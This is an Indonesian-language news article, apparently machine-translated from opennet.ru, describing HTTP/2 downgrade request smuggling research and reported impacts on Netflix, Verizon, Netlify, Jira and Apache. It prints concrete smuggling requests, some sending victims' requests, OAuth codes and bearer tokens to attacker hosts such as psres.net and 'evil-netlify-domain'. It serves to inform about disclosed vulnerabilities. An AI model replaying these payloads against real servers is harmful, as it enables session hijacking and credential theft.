Sistem web di mana frontend menerima koneksi melalui HTTP/2 dan mentransmisikan ke backend melalui HTTP/1.1 telah terkena varian baru dari serangan Penyelundupan Permintaan HTTP, yang memungkinkan, dengan mengirimkan permintaan klien yang dirancang khusus, untuk masuk ke konten permintaan dari pengguna lain diproses dalam alur yang sama antara frontend dan backend. Serangan itu dapat digunakan untuk memasukkan kode JavaScript berbahaya ke dalam sesi dengan situs yang sah, melewati sistem kontrol akses, dan mencegat parameter autentikasi.
Masalahnya memengaruhi proxy web, penyeimbang beban, akselerator web, sistem pengiriman konten, dan konfigurasi lain di mana permintaan dialihkan sesuai dengan skema front-end-backend. Penulis studi menunjukkan kemampuan untuk menyerang sistem di Netflix, Verizon, Bitbucket, Netlify CDN dan Atlassian, dan menerima $56 dalam program hadiah kerentanan. Masalahnya juga telah dikonfirmasi pada produk F5 Networks. Sebagian masalah memengaruhi mod_proxy di server Apache http (CVE-2021-33193), perbaikan diharapkan dalam versi 2.4.49 (pengembang diberi tahu tentang masalah ini pada awal Mei dan menerima 3 bulan untuk memperbaikinya). Di nginx, kemampuan untuk menentukan header "Content-Length" dan "Transfer-Encoding" pada saat yang sama diblokir di rilis terakhir (1.21.1). Alat serangan telah ditambahkan ke perangkat Burp dan tersedia sebagai ekstensi Turbo Intruder.
Prinsip operasi metode baru permintaan wedging ke dalam lalu lintas mirip dengan kerentanan yang diidentifikasi oleh peneliti yang sama dua tahun lalu, tetapi terbatas pada frontend yang menerima permintaan melalui HTTP/1.1. Ingatlah bahwa dalam skema frontend-backend, permintaan klien diterima oleh node tambahan - frontend, yang membuat koneksi TCP jangka panjang dengan backend yang secara langsung memproses permintaan. Melalui koneksi umum ini, permintaan dari pengguna yang berbeda biasanya ditransmisikan, yang mengikuti rantai satu demi satu, dipisahkan melalui protokol HTTP.
Serangan klasik “HTTP Request Smuggling” didasarkan pada fakta bahwa frontend dan backend menafsirkan penggunaan header HTTP “Content-Length” (menentukan ukuran total data dalam permintaan) dan “Transfer-Encoding: chunked” ( memungkinkan mentransfer data di bagian) berbeda . Misalnya, jika frontend hanya mendukung "Content-Length" tetapi mengabaikan "Transfer-Encoding: chunked", penyerang dapat mengirimkan permintaan yang berisi header "Content-Length" dan "Transfer-Encoding: chunked", tetapi ukurannya adalah "Panjang Konten" tidak cocok dengan ukuran rantai yang terpotong. Dalam hal ini, frontend akan memproses dan mengarahkan permintaan sesuai dengan "Panjang Konten", dan backend akan menunggu blok selesai berdasarkan "Transfer-Encoding: chunked" dan sisa permintaan penyerang akan menjadi pada awal permintaan asing ditransmisikan berikutnya.
Berbeda dengan protokol teks HTTP/1.1, yang diurai pada level baris, HTTP/2 adalah protokol biner dan memanipulasi blok data dengan ukuran yang telah ditentukan. Namun, HTTP/2 menggunakan pseudo-header yang sesuai dengan header HTTP biasa. Saat berinteraksi dengan backend melalui HTTP/1.1, frontend menerjemahkan pseudo-header ini menjadi header HTTP HTTP/1.1 yang serupa. Masalahnya adalah backend membuat keputusan tentang penguraian aliran berdasarkan header HTTP yang ditetapkan oleh frontend, tanpa mengetahui parameter permintaan asli.
Termasuk dalam bentuk pseudo-header, nilai "panjang konten" dan "transfer-encoding" dapat ditransmisikan, meskipun faktanya tidak digunakan dalam HTTP / 2, karena ukuran semua data ditentukan dalam lapangan terpisah. Namun, dalam proses konversi permintaan HTTP/2 ke HTTP/1.1, header ini terbawa dan dapat membingungkan backend. Ada dua opsi serangan utama: H2.TE dan H2.CL, di mana backend disesatkan oleh transfer-encoding atau nilai panjang konten yang salah yang tidak sesuai dengan ukuran sebenarnya dari badan permintaan yang diterima oleh frontend melalui Protokol HTTP/2.
Sebagai contoh serangan H2.CL, format pseudo-header panjang konten salah saat mengirimkan permintaan HTTP/2 ke Netflix. Permintaan ini menghasilkan penambahan header HTTP Content-Length yang serupa saat mengakses backend melalui HTTP/1.1, tetapi karena ukuran Content-Length kurang dari ukuran sebenarnya, beberapa data di ekor diproses sebagai awal dari permintaan berikutnya.
Misalnya, permintaan HTTP/2 :method POST :path /n :authority www.netflix.com content-length 4 abcdGET /n HTTP/1.1 Host: 02.rs?x.netflix.com Foo: bar
Akan mengirimkan permintaan ke backend: POST /n HTTP/1.1 Host: www.netflix.com Content-Length: 4 abcdGET /n HTTP/1.1 Host: 02.rs?x.netflix.com Foo: bar
Karena Content-Length diatur ke 4, backend hanya akan menerima "abcd" sebagai badan permintaan, dan memproses sisa "GET /n HTTP/1.1..." sebagai awal dari permintaan berikutnya yang terikat ke pengguna lain. Oleh karena itu, streaming tidak akan sinkron, dan sebagai tanggapan atas permintaan berikutnya, hasil pemrosesan permintaan palsu akan dikembalikan. Dalam kasus Netflix, menentukan host pihak ketiga di header "Host:" dalam permintaan palsu menghasilkan respons "Location: https://02.rs?x.netflix.com/n" ke klien dan mengizinkan konten sewenang-wenang untuk diteruskan ke klien, termasuk mengeksekusi kode JavaScript Anda dalam konteks situs Netflix.
Varian kedua dari serangan (H2.TE) dikaitkan dengan penggantian header "Transfer-Encoding: chunked". Penggunaan pseudo-header pengkodean-transfer dalam HTTP/2 dilarang oleh spesifikasi dan permintaan dengannya dianggap tidak benar. Meskipun demikian, beberapa implementasi frontend mengabaikan persyaratan ini dan mengizinkan penggunaan pseudo-header transfer-encoding di HTTP/2, yang diterjemahkan menjadi header HTTP serupa. Jika header “Transfer-Encoding” ada, backend dapat mengambilnya sebagai prioritas dan mengurai data menjadi beberapa bagian dalam mode “chunked” menggunakan blok dengan ukuran berbeda dalam format “{size}\r\n{block} \r\n{size} \r\n{block}\r\n0" meskipun pembagian awal dengan ukuran keseluruhan.
Adanya celah seperti itu ditunjukkan oleh contoh Verizon. Namun, masalahnya menyangkut portal otentikasi dan sistem manajemen konten, yang juga digunakan oleh situs-situs seperti Huffington Post dan Engadget. Misalnya, permintaan klien melalui HTTP/2: :method POST :path /identitfy/XUI :authority id.b2b.oath.com transfer-encoding chunked 0 GET /oops HTTP/1.1 Host: psres.net Content-Length: 10 x=
Menyebabkan permintaan HTTP/1.1 ke backend: POST /identity/XUI HTTP/1.1 Host: id.b2b.oath.com Content-Length: 66 Transfer-Encoding: chunked 0 GET /oops HTTP/1.1 Host: psres.net Content- Length : 10x=
Backend, pada gilirannya, mengabaikan header "Panjang Konten" dan melakukan pemisahan in-stream berdasarkan "Transfer-Encoding: chunked". Dalam praktiknya, serangan memungkinkan untuk mengalihkan permintaan pengguna ke situs Anda, termasuk mencegat permintaan yang terkait dengan otentikasi OAuth, yang parameternya muncul di header Perujuk, serta mensimulasikan sesi otentikasi dan memulai pengiriman kredensial pengguna ke tuan rumah penyerang. DAPATKAN /b2blanding/show/oops HTTP/1.1 Host: psres.net Referer: https://id.b2b.oath.com/?…&code=secret GET / HTTP/1.1 Host: psres.net Otorisasi: Pembawa eyJhcGwiOiJIUzI1Gi1sInR6cCI6Ik…
Untuk menyerang implementasi HTTP/2 yang tidak memungkinkan menentukan pseudo-header transfer-encoding, metode lain telah diusulkan yang melibatkan penggantian header "Transfer-Encoding" dengan melampirkannya ke pseudo-header lain yang dipisahkan oleh karakter baris baru (ketika dikonversi ke HTTP/1.1 dalam hal ini, dua header HTTP terpisah dibuat).
Misalnya, Atlassian Jira dan Netlify CDN (digunakan untuk menyajikan halaman awal Mozilla di Firefox) terpengaruh oleh masalah ini. Secara khusus, permintaan HTTP/2 :method POST :path / :authority start.mozilla.org foo b\r\n transfer-encoding: chunked 0\r\n \r\n GET / HTTP/1.1\r\n Host : evil-netlify-domain\r\n Content-Length: 5\r\n \r\nx=
menyebabkan permintaan HTTP/1.1 POST / HTTP/1.1 dikirim ke backend\r\n Host: start.mozilla.org\r\n Foo: b\r\n Transfer-Encoding: chunked\r\n Content- Panjang: 71\ r\n \r\n 0\r\n \r\n DAPATKAN / HTTP/1.1\r\n Host: evil-netlify-domain\r\n Content-Length: 5\r\n \ r\nx=
Opsi lain untuk mengganti header "Transfer-Encoding" adalah melampirkannya ke nama pseudo-header lain atau ke string dengan metode permintaan. Misalnya, saat mengakses Atlassian Jira, nama pseudo-header "foo: bar\r\ntransfer-encoding" dengan nilai "chunked" menghasilkan penambahan header HTTP "foo: bar" dan "transfer-encoding : chunked", dan menentukan dalam pseudo-header ":method" dari nilai "GET / HTTP/1.1\r\nTransfer-encoding: chunked" diterjemahkan menjadi "GET / HTTP/1.1\r\ntransfer-encoding: chunked" .
Peneliti yang mengidentifikasi masalah juga mengusulkan teknik request tunneling untuk menyerang frontend, di mana koneksi terpisah ke backend dibuat untuk setiap alamat IP dan lalu lintas pengguna yang berbeda tidak tercampur. Teknik yang diusulkan tidak memungkinkan Anda untuk campur tangan dalam permintaan pengguna lain, tetapi memungkinkan untuk meracuni cache bersama, yang memengaruhi pemrosesan permintaan lain, dan memungkinkan Anda untuk mengganti header HTTP internal yang digunakan untuk mentransfer informasi layanan dari frontend ke backend (misalnya, saat mengotentikasi di sisi frontend di header tersebut dapat mengirimkan informasi tentang pengguna saat ini ke backend). Sebagai contoh penerapan metode dalam praktik, menggunakan peracunan cache, dimungkinkan untuk mendapatkan kendali atas halaman di layanan Bitbucket.
Sumber: opennet.ru